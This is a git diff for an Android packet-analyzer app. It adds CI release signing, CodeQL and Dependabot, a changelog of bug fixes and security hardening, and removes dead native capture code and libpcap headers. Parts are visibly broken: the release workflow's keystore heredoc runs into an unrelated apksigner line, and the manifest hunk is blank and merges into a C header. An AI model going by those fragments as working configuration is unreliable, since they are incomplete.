diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..05ad30e --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,31 @@ +version: 2 +updates: + # Dart/Flutter dependencies (pubspec.yaml) + - package-ecosystem: "pub" + directory: "/" + schedule: + interval: "weekly" + open-pull-requests-limit: 10 + labels: + - "dependencies" + - "dart" + + # Gradle dependencies (Android build) + - package-ecosystem: "gradle" + directory: "/android" + schedule: + interval: "weekly" + open-pull-requests-limit: 10 + labels: + - "dependencies" + - "android" + + # GitHub Actions workflow versions + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" + open-pull-requests-limit: 10 + labels: + - "dependencies" + - "ci" diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 0000000..576be2a --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,61 @@ +name: CodeQL + +on: + push: + branches: + - main + pull_request: + branches: + - main + - dev + schedule: + # Weekly scan for newly-disclosed vulnerability patterns, not just new code. + - cron: '19 4 * * 1' + +jobs: + analyze: + name: Analyze (java-kotlin) + runs-on: ubuntu-latest + permissions: + security-events: write + packages: read + + steps: + - name: Checkout with submodules + uses: actions/checkout@v4 + with: + submodules: recursive + + - name: Set up Java 17 + uses: actions/setup-java@v4 + with: + distribution: temurin + java-version: 17 + + - name: Set up Flutter 3.44.0 stable + uses: subosito/flutter-action@v2 + with: + flutter-version: '3.44.0' + channel: stable + cache: true + + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: java-kotlin + build-mode: manual + + - name: Install dependencies + run: flutter pub get + + # Compile only the JVM unit tests (android/app/src/test) rather than a + # full app assemble — CodeQL only needs to see the Kotlin source being + # built, and this avoids needing the native/CMake toolchain or a + # matching compileSdk platform image in the runner image. + - name: Compile Kotlin sources for analysis + run: cd android && ./gradlew compileDebugKotlin compileDebugUnitTestKotlin + + - name: Perform CodeQL analysis + uses: github/codeql-action/analyze@v3 + with: + category: "/language:java-kotlin" diff --git a/.github/workflows/pr-check.yml b/.github/workflows/pr-check.yml index 4feeb97..5ac3cbd 100644 --- a/.github/workflows/pr-check.yml +++ b/.github/workflows/pr-check.yml @@ -39,13 +39,16 @@ jobs: run: flutter pub get - name: Analyze - run: flutter analyze --no-fatal-infos --no-fatal-warnings + run: flutter analyze --no-fatal-infos - name: Run Dart unit tests run: flutter test - name: Run Kotlin unit tests - run: cd android && ./gradlew test + # Scoped to :app — an unscoped `test` cascades into every Flutter + # plugin dependency's own bundled unit tests too, which aren't ours + # to keep green and can fail CI for reasons unrelated to this app. + run: cd android && ./gradlew :app:testDebugUnitTest - name: Build debug APK (verify compilation) run: flutter build apk --debug --target-platform android-arm64 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 4de401e..26c486b 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -38,11 +38,41 @@ jobs: run: flutter pub get - name: Analyze - run: flutter analyze --no-fatal-infos --no-fatal-warnings + run: flutter analyze --no-fatal-infos + + - name: Reconstruct release keystore from secrets + env: + KEYSTORE_BASE64: ${{ secrets.KEYSTORE_BASE64 }} + run: | + if [ -z "$KEYSTORE_BASE64" ]; then + echo "::error::KEYSTORE_BASE64 secret is not set — release APKs would be signed with the debug key. Add the repo secrets described in android/key.properties.example before tagging a release." + exit 1 + fi + echo "$KEYSTORE_BASE64" | base64 -d > android/app/release-keystore.jks + cat > android/key.properties </dev/null | grep 'SHA256:' | head -1 | awk '{print $2}') + actual=$("$APKSIGNER" verify --print-certs build/app/outputs/flutter-apk/app-arm64-v8a-release.apk \ + | grep 'Signer #1 certificate SHA-256 digest' | awk '{print $NF}') + echo "Expected (our release keystore): $expected" + echo "Actual (built APK signer): $actual" + if [ -z "$actual" ] || [ "$(echo "$expected" | tr -d ':' | tr 'A-F' 'a-f')" != "$(echo "$actual" | tr -d ':' | tr 'A-F' 'a-f')" ]; then + echo "::error::Built APK's signing certificate does not match android/app/release-keystore.jks — it was not signed with the intended release key." + exit 1 + fi + - name: Rename APK with version and architecture run: | mv build/app/outputs/flutter-apk/app-arm64-v8a-release.apk \ @@ -74,3 +104,7 @@ jobs: make_latest: true env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + - name: Clean up keystore secrets from the runner workspace + if: always() + run: rm -f android/app/release-keystore.jks android/key.properties diff --git a/.gitignore b/.gitignore index 6b46d1a..b666a54 100644 --- a/.gitignore +++ b/.gitignore @@ -69,3 +69,11 @@ scripts/*.log # Release artifacts (iOS) *.ipa + +# Release signing — never commit the real keystore or its passwords. +# See android/key.properties.example for the template. Unanchored (not +# /android/key.properties) so a copy left at the repo root or anywhere else +# is still caught. +key.properties +*.jks +*.keystore diff --git a/CHANGELOG.md b/CHANGELOG.md index c60a870..4c0e77c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,117 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 --- +## [1.3.0] - 2026-08-06 + +A full pass across the codebase: dead code removal, real bug fixes, dependency/toolchain +modernization, security hardening, hot-path performance work, and new features. Verified with +`flutter analyze` (0 issues), `flutter test` (25/25), `./gradlew :app:testDebugUnitTest` (106/106), +and live on-device testing (VPN capture, IPv6, per-app attribution, dark mode). + +### ✨ Added +- **Per-app traffic attribution** — resolves the installed app owning each TCP/UDP flow via + `ConnectivityManager.getConnectionOwnerUid` and shows it on every packet card. Something desktop + Wireshark has no equivalent of, since it doesn't run on the device whose traffic it inspects. +- **Dark mode** — system/light/dark, persisted across launches (Settings → Theme). +- **IPv6 support in VPN-mode capture** — `ZdtunVpnService` previously returned `null` for any + non-IPv4 packet, so IPv6 traffic was tunneled correctly but completely invisible to DPI, anomaly + detection, and PCAP logging. Now fully parsed (address, ports, TCP flags) and analyzed. + Confirmed live: IPv6 link-local multicast traffic now shows up correctly formatted + (`fe80::...` zero-compressed notation) in the packet stream. +- **Malformed-TCP-packet detection** — flags illegal flag combinations (SYN+FIN, SYN+RST), a + known firewall/IDS evasion and stack-fingerprinting technique. Fills in the one `AnomalyType` + that previously existed in the model but was never actually produced. +- **DNS-over-HTTPS (DoH) detection** — TLS connections whose SNI matches a known public DoH + resolver are now labeled `DoH` instead of generic `HTTPS`, surfacing a common technique for + bypassing on-path DNS monitoring. +- **Change PIN/Password/Pattern** and **configurable auto-lock duration** (1/5/15/30/60 min), + both previously backed by working service methods with no UI path to reach them. +- `.github/dependabot.yml` (pub, gradle, github-actions) and a CodeQL workflow for the + Kotlin/Java surface. + +### 🐛 Fixed +- **TCP flags were never populated on the VPN-mode (unrooted, default) capture path at all** — + `ZdtunVpnService.parseIpv4Packet`/`parseIpv6Packet` never extracted them, meaning SYN-flood and + connection-flood detection silently never fired for anyone using the app's zero-setup default + mode, despite being fully implemented and README-advertised as working. Only rooted + libpcap-mode users ever got real detection for these two. Now extracted on both paths. +- **PCAP annotated-packet timestamps were corrupted** — `PcapWriter.nativeWriteAnnotatedPacket` + treated a millisecond value from Kotlin as if it were already nanoseconds with no conversion, so + every anomaly-flagged packet (exactly the ones an analyst cares about) got written with a + timestamp near the 1970 epoch. Fixed to mirror the working `nativeWritePacket` path. +- **A live, UI-reachable capture path silently dropped all packets** — "Enhanced" mode + (`CaptureService`) never wrote packets back to the TUN device, blackholing the device's internet + connection whenever selected, and never ran DPI/anomaly detection/PCAP logging at all. Retired; + enhanced mode now shares the same proven `ZdtunVpnService` pipeline as VPN mode. +- **`test/widget_test.dart` was broken** — asserted stale UI text and pumped the app without its + required `Provider` ancestor, so `flutter test` (and CI's Kotlin/Dart test steps) had been + failing on every push/PR since at least May 2026. CI is green again; PR checks now fail on + `flutter analyze` warnings, not just hard errors, so this can't silently regress. +- `PcapWriter.nativeWriteAnnotatedPacket`'s JNI signature mismatch (`Boolean` in Kotlin vs `void` + in C) — the returned success/failure value was previously meaningless. +- PCAP file-count rotation (`max_files`) was a no-op that only logged; old rotated captures now + actually get pruned. +- `PacketInfo.fromMap`'s numeric field parsing threw (rather than falling back) for non-null, + non-numeric values (e.g. a stringified port) because `as num?` throws instead of returning null + for a type mismatch — caught by a new unit test, fixed with a proper safe-coercion helper. +- `RuleEngine`'s DNS-tunneling rule's `DomainMatches` condition was defined and used by the + default rule set but never handled by the evaluator, silently always `false` — caught by a new + Kotlin unit test, fixed. +- Root detection was implemented three different, inconsistent ways across the codebase (including + a fragile unquoted `su -c 'id'` shell string); consolidated into one `RootChecker`. +- Settings dialog: "Auto-scroll" no longer closes the whole dialog on every toggle; "Anomaly + notifications" and "Max packets limit" are now real, working, persisted-for-the-session controls + instead of a hardcoded switch and a display-only label. + +### 🔒 Security +- **Release APKs are now properly signed** instead of using the public Android debug key — + `android/key.properties` (gitignored) drives local/CI signing with a documented GitHub Actions + secrets flow (`KEYSTORE_BASE64`, `KEYSTORE_PASSWORD`, `KEY_ALIAS`, `KEY_PASSWORD`); `release.yml` + now cryptographically verifies the built APK's signing certificate before publishing. +- **PIN/password/pattern hashing switched from unsalted SHA-256 to salted PBKDF2-HMAC-SHA256** + (120,000 iterations) — the old scheme meant all 10,000 possible 4-digit PIN hashes could be + precomputed in microseconds, notable given the app explicitly targets rooted devices. Existing + installs upgrade transparently on next successful login, no forced re-setup. +- `generateTestAnomaly` (injects a fake anomaly into the live detection stream) is now compiled + out of release builds instead of always being a reachable MethodChannel endpoint. +- Removed sensitive per-packet debug logging (source/dest IPs, domains, full packet maps) that ran + unconditionally on every packet, including in release builds, on a tool whose entire purpose is + capturing potentially sensitive traffic metadata. + +### ⚡ Performance +- `RuleEngine`'s per-rule packet history used `ArrayList.removeAt(0)` for eviction — an O(n) shift + on every packet, across up to 10 rules simultaneously, once the 1000-entry cap filled. Switched + to `ArrayDeque` for O(1) eviction. +- `SignatureDatabase` (18 signatures) and `RuleEngine` (10 rules) each independently re-decoded the + same packet payload bytes to a string per check — now decoded once per packet and shared. + `PayloadAnalyzer`'s file-carving/keyword scans are now skipped entirely for known-encrypted + traffic (TLS/QUIC/HTTPS), where they could only ever produce noise, not signal. +- Packet hex-dump formatting used to format the *entire* payload (up to tens of KB) before + truncating the display string — now sliced to the display bound first. +- `AnomalyDetector`'s entropy-consecutive-hit counters (`highEntropyPacketCount`, + `dnsHighEntropyCount`) were the only trackers never included in the periodic cleanup sweep, + growing by one entry per unique source IP for the life of a capture session — now bounded. + +### 🧹 Removed +- ~5,700 lines of confirmed-dead Kotlin (12 files — six abandoned VPN-service implementations, plus + their now-orphaned helpers) and an entire second, never-built native C++ capture tree + (`android/app/src/main/cpp/`), verified dead by inspecting actual build output, not just + cross-referencing symbols. +- Stray, misleading `build.gradle.kts`/`settings.gradle.kts` scaffolding (declared a different, + wrong package name than the live Groovy build files). +- Duplicate `ProtocolStats`/`NetworkMetrics` class definitions in `main.dart` that silently shadowed + the real ones in `models.dart`, plus a dead module-level `MethodChannel` handler + (`initPacketListener`) that was unreachable the moment the main screen mounted, and several + `NativeBridge` methods with no caller. + +### 📦 Dependencies & Tooling +- Gradle 8.10.2 → 8.14.3, AGP 8.7.3 → 8.11.2, Kotlin 2.1.0 → 2.2.21, compileSdk 36 → 37, + kotlinx-coroutines 1.7.3 → 1.11.0. +- `fl_chart` 0.70 → 1.2, `flutter_secure_storage` 9 → 11, `local_auth` 2 → 3, + `permission_handler` 11 → 13, `share_plus` 10 → 13 (`Share.shareXFiles` → + `SharePlus.instance.share`), `flutter_lints` 5 → 6 — all breaking API changes at each major + fixed at the call site. + ## [1.2.0] - 2026-05-21 ### 🔧 Build & Install Fixes diff --git a/README.md b/README.md index 8d9d811..68e7edf 100644 --- a/README.md +++ b/README.md @@ -111,21 +111,25 @@ Entropy score is displayed as a live badge (`E:x.x`) on each packet in the captu ### PCAP Export -- Standard, Wireshark-compatible libpcap format -- Microsecond timestamp precision +- Standard pcapng format (RFC 7663) with nanosecond-resolution timestamps — natively readable by Wireshark, tcpdump, and tshark - Saved to `/sdcard/Download/AndroNet/` -- Fully compatible with Wireshark, tcpdump, and tshark +- Size- and duration-based file rotation with automatic pruning of old captures ### Protocol Intelligence -Recognizes **65+ application protocols**, including HTTPS, DNS, SSH, FTP, SMTP, MySQL, PostgreSQL, MongoDB, Redis, SIP, RDP, and VNC. +Recognizes **65+ application protocols**, including HTTPS, DNS, SSH, FTP, SMTP, MySQL, PostgreSQL, MongoDB, Redis, SIP, RDP, and VNC. DNS-over-HTTPS is detected by TLS SNI against known public resolvers, surfacing a common technique for bypassing on-path DNS monitoring. + +### Per-App Traffic Attribution + +Every TCP/UDP flow is resolved to the installed app that owns it (via `ConnectivityManager.getConnectionOwnerUid`) and shown inline on each packet — visibility a desktop packet analyzer can't offer, since it isn't running on the device whose traffic it's inspecting. ### Interface - **16 predefined, color-coded filters:** ALL, HTTP, HTTPS, DNS, TCP, UDP, TLS, QUIC, ICMP, DHCP, ARP, SSH, FTP, SMTP, POP3, IMAP - Live packet counts per filter (e.g. `HTTP (25)`) - Filters adapt to observed traffic and match on both transport and application layers -- Enriched DPI detail inline — HTTP URLs/methods/status, DNS queries, TLS SNI, DHCP message types +- Enriched DPI detail inline — HTTP URLs/methods/status, DNS queries, TLS SNI, DHCP message types, resolved owning app +- Light, dark, and system-follow themes (Settings → Theme) --- @@ -221,11 +225,12 @@ scripts/tag-release.ps1 1.0.0 |---|---| | Flutter | 3.44.0 stable | | Dart SDK | 3.8.1+ | -| Android Gradle Plugin | 8.7.3 | -| Gradle Wrapper | 8.10.2 | -| Kotlin | 2.1.0 | -| NDK | 28.2.13433566 | -| compileSdk / targetSdk | 36 | +| Android Gradle Plugin | 8.11.2 | +| Gradle Wrapper | 8.14.3 | +| Kotlin | 2.2.21 | +| NDK | 28.2.13676358 | +| compileSdk | 37 | +| targetSdk | 36 | | minSdk | 24 (Android 7.0) | > **16KB page alignment:** Android 15+ (API 35+) devices using 16KB memory pages require native libraries compiled with `-Wl,-z,max-page-size=16384` and packaged with `useLegacyPackaging = false`. Both flags are already applied to all `.so` targets (`zdtun_vpn`, `pcap_writer`, `pcap_capture`). @@ -233,7 +238,7 @@ scripts/tag-release.ps1 1.0.0 ### Prerequisites - Flutter SDK 3.44.0+ -- Android Studio with NDK 28.2.13433566 +- Android Studio with NDK 28.2.13676358 - CMake 3.22.1+ - Kali NetHunter (optional — required only for libpcap mode) @@ -359,7 +364,12 @@ Attach `bug-report.zip` when opening a GitHub issue. - [ ] Kernel-level capture path for rooted devices, reducing capture overhead below current libpcap-mode figures - [ ] Expanded anomaly-detection benchmarking (labeled traffic dataset, precision/recall reporting) - [ ] Cross-device portability testing across the NetHunter-supported device matrix -- [ ] Historical session storage and diffing between captures +- [ ] Historical session storage and diffing between captures (sqflite is already a dependency, currently unused for this) +- [ ] In-app packet search across IP/domain/payload/app, beyond the existing protocol filters +- [ ] Custom detection rules authored from the UI (`RuleEngine.addRule`/`SignatureDatabase.addSignature` already support it programmatically; no UI path yet) +- [ ] Threat-intel IP/domain blocklist import, replacing the small hardcoded sample list +- [ ] CSV/JSON packet export alongside PCAP +- [ ] Real traffic-over-time and anomaly-frequency charts (fl_chart is already a dependency, currently underused) --- diff --git a/android/app/build.gradle b/android/app/build.gradle index 81c4a49..ba4ad50 100644 --- a/android/app/build.gradle +++ b/android/app/build.gradle @@ -22,9 +22,23 @@ if (flutterVersionName == null) { flutterVersionName = '1.0' } +// Release signing: reads android/key.properties (gitignored, never +// committed — see key.properties.example for the template). Falls back to +// debug signing when absent, so plain local/dev builds and CI runs without +// the release secrets configured still work; only `flutter build apk +// --release` for actual distribution needs it populated. +def keystorePropertiesFile = rootProject.file('key.properties') +def keystoreProperties = new Properties() +def hasReleaseSigning = keystorePropertiesFile.exists() +if (hasReleaseSigning) { + keystorePropertiesFile.withReader('UTF-8') { reader -> + keystoreProperties.load(reader) + } +} + android { namespace 'com.example.packet_analyzer' - compileSdk 36 + compileSdk 37 ndkVersion "28.2.13676358" compileOptions { @@ -36,9 +50,18 @@ android { jvmTarget = '1.8' } + buildFeatures { + buildConfig true + } + + testOptions { + unitTests { + returnDefaultValues = true + } + } + sourceSets { main.java.srcDirs += 'src/main/kotlin' - main.jniLibs.srcDirs += 'libs' // Ensure .so from tun2socks.aar is available } defaultConfig { @@ -70,9 +93,20 @@ android { } } + signingConfigs { + if (hasReleaseSigning) { + release { + storeFile file(keystoreProperties['storeFile']) + storePassword keystoreProperties['storePassword'] + keyAlias keystoreProperties['keyAlias'] + keyPassword keystoreProperties['keyPassword'] + } + } + } + buildTypes { release { - signingConfig signingConfigs.debug + signingConfig hasReleaseSigning ? signingConfigs.release : signingConfigs.debug minifyEnabled true shrinkResources true proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' @@ -87,12 +121,6 @@ flutter { source '../..' } -repositories { - flatDir { - dirs 'libs' // Where tun2socks.aar lives - } -} - dependencies { implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version" implementation 'androidx.multidex:multidex:2.0.1' @@ -105,17 +133,6 @@ dependencies { implementation 'androidx.biometric:biometric:1.1.0' // Kotlin Coroutines for packet capture - implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.3' - implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.7.3' - - // Import the tun2socks AAR - implementation(name: "tun2socks", ext: "aar") { - // Exclude duplicate Go runtime classes to avoid "Duplicate class go.Seq" error - exclude group: "go" - } -} - -// Clean up duplicates in case other transitive deps bring Go classes -configurations.all { - exclude group: "go" + implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.11.0' + implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.11.0' } diff --git a/android/app/build.gradle.kts b/android/app/build.gradle.kts deleted file mode 100644 index bb4a0ce..0000000 --- a/android/app/build.gradle.kts +++ /dev/null @@ -1,44 +0,0 @@ -plugins { - id("com.android.application") - id("kotlin-android") - // The Flutter Gradle Plugin must be applied after the Android and Kotlin Gradle plugins. - id("dev.flutter.flutter-gradle-plugin") -} - -android { - namespace = "com.example.andronet" - compileSdk = flutter.compileSdkVersion - ndkVersion = flutter.ndkVersion - - compileOptions { - sourceCompatibility = JavaVersion.VERSION_11 - targetCompatibility = JavaVersion.VERSION_11 - } - - kotlinOptions { - jvmTarget = JavaVersion.VERSION_11.toString() - } - - defaultConfig { - // TODO: Specify your own unique Application ID (https://developer.android.com/studio/build/application-id.html). - applicationId = "com.example.andronet" - // You can update the following values to match your application needs. - // For more information, see: https://flutter.dev/to/review-gradle-config. - minSdk = flutter.minSdkVersion - targetSdk = flutter.targetSdkVersion - versionCode = flutter.versionCode - versionName = flutter.versionName - } - - buildTypes { - release { - // TODO: Add your own signing config for the release build. - // Signing with the debug keys for now, so `flutter run --release` works. - signingConfig = signingConfigs.getByName("debug") - } - } -} - -flutter { - source = "../.." -} diff --git a/android/app/libs/classes.jar b/android/app/libs/classes.jar deleted file mode 100644 index ae20ffb..0000000 Binary files a/android/app/libs/classes.jar and /dev/null differ diff --git a/android/app/libs/tun2socks.aar b/android/app/libs/tun2socks.aar deleted file mode 100644 index adcff8a..0000000 Binary files a/android/app/libs/tun2socks.aar and /dev/null differ diff --git a/android/app/proguard-rules.pro b/android/app/proguard-rules.pro index 7d4d367..10467fe 100644 --- a/android/app/proguard-rules.pro +++ b/android/app/proguard-rules.pro @@ -7,6 +7,7 @@ # AndroNet JNI — native methods called from C/C++ must not be renamed -keep class com.example.packet_analyzer.ZdtunVpn { *; } -keep class com.example.packet_analyzer.LibpcapBridge { *; } +-keep class com.example.packet_analyzer.PcapWriter { *; } -keep class com.example.packet_analyzer.ZdtunVpnService { void sendPacketToVpn(byte[]); boolean protectSocket(int); @@ -18,7 +19,6 @@ # Services — must survive shrinking so the OS can start them -keep class com.example.packet_analyzer.ZdtunVpnService { *; } --keep class com.example.packet_analyzer.CaptureService { *; } -keep class com.example.packet_analyzer.NetHunterService { *; } -keep class com.example.packet_analyzer.MainActivity { *; } diff --git a/android/app/src/main/AndroidManifest.xml b/android/app/src/main/AndroidManifest.xml index 16e2279..cf80bda 100644 --- a/android/app/src/main/AndroidManifest.xml +++ b/android/app/src/main/AndroidManifest.xml @@ -71,55 +71,6 @@ - - - - - - - - - - - - - - - - - - - - - - - */ - -#ifndef lib_pcap_bluetooth_h -#define lib_pcap_bluetooth_h - -#include - -/* - * Header prepended libpcap to each bluetooth h4 frame, - * fields are in network byte order - */ -typedef struct _pcap_bluetooth_h4_header { - uint32_t direction; /* if first bit is set direction is incoming */ -} pcap_bluetooth_h4_header; - -/* - * Header prepended libpcap to each bluetooth linux monitor frame, - * fields are in network byte order - */ -typedef struct _pcap_bluetooth_linux_monitor_header { - uint16_t adapter_id; - uint16_t opcode; -} pcap_bluetooth_linux_monitor_header; - -#endif diff --git a/android/app/src/main/cpp/include/bpf.h b/android/app/src/main/cpp/include/bpf.h deleted file mode 100644 index 2868b93..0000000 --- a/android/app/src/main/cpp/include/bpf.h +++ /dev/null @@ -1,287 +0,0 @@ -/*- - * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * This code is derived from the Stanford/CMU enet packet filter, - * (net/enet.c) distributed as part of 4.3BSD, and code contributed - * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence - * Berkeley Laboratory. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. Neither the name of the University nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - * - * @(#)bpf.h 7.1 (Berkeley) 5/7/91 - */ - -/* - * This is libpcap's cut-down version of bpf.h; it includes only - * the stuff needed for the code generator and the userland BPF - * interpreter, and the libpcap APIs for setting filters, etc.. - * - * "pcap-bpf.c" will include the native OS version, as it deals with - * the OS's BPF implementation. - * - * At least two programs found by Google Code Search explicitly includes - * (even though / includes it for you), - * so moving that stuff to would break the build for some - * programs. - */ - -/* - * If we've already included , don't re-define this stuff. - * We assume BSD-style multiple-include protection in , - * which is true of all but the oldest versions of FreeBSD and NetBSD, - * or Tru64 UNIX-style multiple-include protection (or, at least, - * Tru64 UNIX 5.x-style; I don't have earlier versions available to check), - * or AIX-style multiple-include protection (or, at least, AIX 5.x-style; - * I don't have earlier versions available to check), or QNX-style - * multiple-include protection (as per GitHub pull request #394). - * - * We trust that they will define structures and macros and types in - * a fashion that's source-compatible and binary-compatible with our - * definitions. - * - * We do not check for BPF_MAJOR_VERSION, as that's defined by - * , which is directly or indirectly included in some - * programs that also include pcap.h, and doesn't - * define stuff we need. We *do* protect against - * defining various macros for BPF code itself; says - * - * Try and keep these values and structures similar to BSD, especially - * the BPF code definitions which need to match so you can share filters - * - * so we trust that it will define them in a fashion that's source-compatible - * and binary-compatible with our definitions. - * - * This also provides our own multiple-include protection. - */ -#if !defined(_NET_BPF_H_) && !defined(_NET_BPF_H_INCLUDED) && !defined(_BPF_H_) && !defined(_H_BPF) && !defined(lib_pcap_bpf_h) -#define lib_pcap_bpf_h - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* BSD style release date */ -#define BPF_RELEASE 199606 - -typedef int bpf_int32; -typedef u_int bpf_u_int32; - -/* - * Alignment macros. BPF_WORDALIGN rounds up to the next - * even multiple of BPF_ALIGNMENT. - * - * Tcpdump's print-pflog.c uses this, so we define it here. - */ -#ifndef __NetBSD__ -#define BPF_ALIGNMENT sizeof(bpf_int32) -#else -#define BPF_ALIGNMENT sizeof(long) -#endif -#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1)) - -/* - * Structure for "pcap_compile()", "pcap_setfilter()", etc.. - */ -struct bpf_program { - u_int bf_len; - struct bpf_insn *bf_insns; -}; - -/* - * The instruction encodings. - * - * Please inform tcpdump-workers@lists.tcpdump.org if you use any - * of the reserved values, so that we can note that they're used - * (and perhaps implement it in the reference BPF implementation - * and encourage its implementation elsewhere). - */ - -/* - * The upper 8 bits of the opcode aren't used. BSD/OS used 0x8000. - */ - -/* instruction classes */ -#define BPF_CLASS(code) ((code) & 0x07) -#define BPF_LD 0x00 -#define BPF_LDX 0x01 -#define BPF_ST 0x02 -#define BPF_STX 0x03 -#define BPF_ALU 0x04 -#define BPF_JMP 0x05 -#define BPF_RET 0x06 -#define BPF_MISC 0x07 - -/* ld/ldx fields */ -#define BPF_SIZE(code) ((code) & 0x18) -#define BPF_W 0x00 -#define BPF_H 0x08 -#define BPF_B 0x10 -/* 0x18 reserved; used by BSD/OS */ -#define BPF_MODE(code) ((code) & 0xe0) -#define BPF_IMM 0x00 -#define BPF_ABS 0x20 -#define BPF_IND 0x40 -#define BPF_MEM 0x60 -#define BPF_LEN 0x80 -#define BPF_MSH 0xa0 -/* 0xc0 reserved; used by BSD/OS; also by OpenBSD for BPF_RND */ -/* 0xe0 reserved; used by BSD/OS */ - -/* alu/jmp fields */ -#define BPF_OP(code) ((code) & 0xf0) -#define BPF_ADD 0x00 -#define BPF_SUB 0x10 -#define BPF_MUL 0x20 -#define BPF_DIV 0x30 -#define BPF_OR 0x40 -#define BPF_AND 0x50 -#define BPF_LSH 0x60 -#define BPF_RSH 0x70 -#define BPF_NEG 0x80 -#define BPF_MOD 0x90 -#define BPF_XOR 0xa0 -/* 0xb0 reserved */ -/* 0xc0 reserved */ -/* 0xd0 reserved */ -/* 0xe0 reserved */ -/* 0xf0 reserved */ - -#define BPF_JA 0x00 -#define BPF_JEQ 0x10 -#define BPF_JGT 0x20 -#define BPF_JGE 0x30 -#define BPF_JSET 0x40 -/* 0x50 reserved; used on BSD/OS */ -/* 0x60 reserved */ -/* 0x70 reserved */ -/* 0x80 reserved */ -/* 0x90 reserved */ -/* 0xa0 reserved */ -/* 0xb0 reserved */ -/* 0xc0 reserved */ -/* 0xd0 reserved */ -/* 0xe0 reserved */ -/* 0xf0 reserved */ -#define BPF_SRC(code) ((code) & 0x08) -#define BPF_K 0x00 -#define BPF_X 0x08 - -/* ret - BPF_K and BPF_X also apply */ -#define BPF_RVAL(code) ((code) & 0x18) -#define BPF_A 0x10 -/* 0x18 reserved */ - -/* misc */ -#define BPF_MISCOP(code) ((code) & 0xf8) -#define BPF_TAX 0x00 -/* 0x08 reserved */ -/* 0x10 reserved */ -/* 0x18 reserved */ -/* #define BPF_COP 0x20 NetBSD "coprocessor" extensions */ -/* 0x28 reserved */ -/* 0x30 reserved */ -/* 0x38 reserved */ -/* #define BPF_COPX 0x40 NetBSD "coprocessor" extensions */ -/* also used on BSD/OS */ -/* 0x48 reserved */ -/* 0x50 reserved */ -/* 0x58 reserved */ -/* 0x60 reserved */ -/* 0x68 reserved */ -/* 0x70 reserved */ -/* 0x78 reserved */ -#define BPF_TXA 0x80 -/* 0x88 reserved */ -/* 0x90 reserved */ -/* 0x98 reserved */ -/* 0xa0 reserved */ -/* 0xa8 reserved */ -/* 0xb0 reserved */ -/* 0xb8 reserved */ -/* 0xc0 reserved; used on BSD/OS */ -/* 0xc8 reserved */ -/* 0xd0 reserved */ -/* 0xd8 reserved */ -/* 0xe0 reserved */ -/* 0xe8 reserved */ -/* 0xf0 reserved */ -/* 0xf8 reserved */ - -/* - * The instruction data structure. - */ -struct bpf_insn { - u_short code; - u_char jt; - u_char jf; - bpf_u_int32 k; -}; - -/* - * Macros for insn array initializers. - * - * In case somebody's included , or something else that - * gives the kernel's definitions of BPF statements, get rid of its - * definitions, so we can supply ours instead. If some kernel's - * definitions aren't *binary-compatible* with what BPF has had - * since it first sprung from the brows of Van Jacobson and Steve - * McCanne, that kernel should be fixed. - */ -#ifdef BPF_STMT -#undef BPF_STMT -#endif -#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k } -#ifdef BPF_JUMP -#undef BPF_JUMP -#endif -#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k } - -PCAP_AVAILABLE_0_4 -PCAP_DEPRECATED("use pcap_offline_filter()") -PCAP_API u_int bpf_filter(const struct bpf_insn *, const u_char *, u_int, u_int); - -PCAP_AVAILABLE_0_6 -PCAP_API int bpf_validate(const struct bpf_insn *f, int len); - -PCAP_AVAILABLE_0_4 -PCAP_API char *bpf_image(const struct bpf_insn *, int); - -PCAP_AVAILABLE_0_6 -PCAP_API void bpf_dump(const struct bpf_program *, int); - -/* - * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST). - */ -#define BPF_MEMWORDS 16 - -#ifdef __cplusplus -} -#endif - 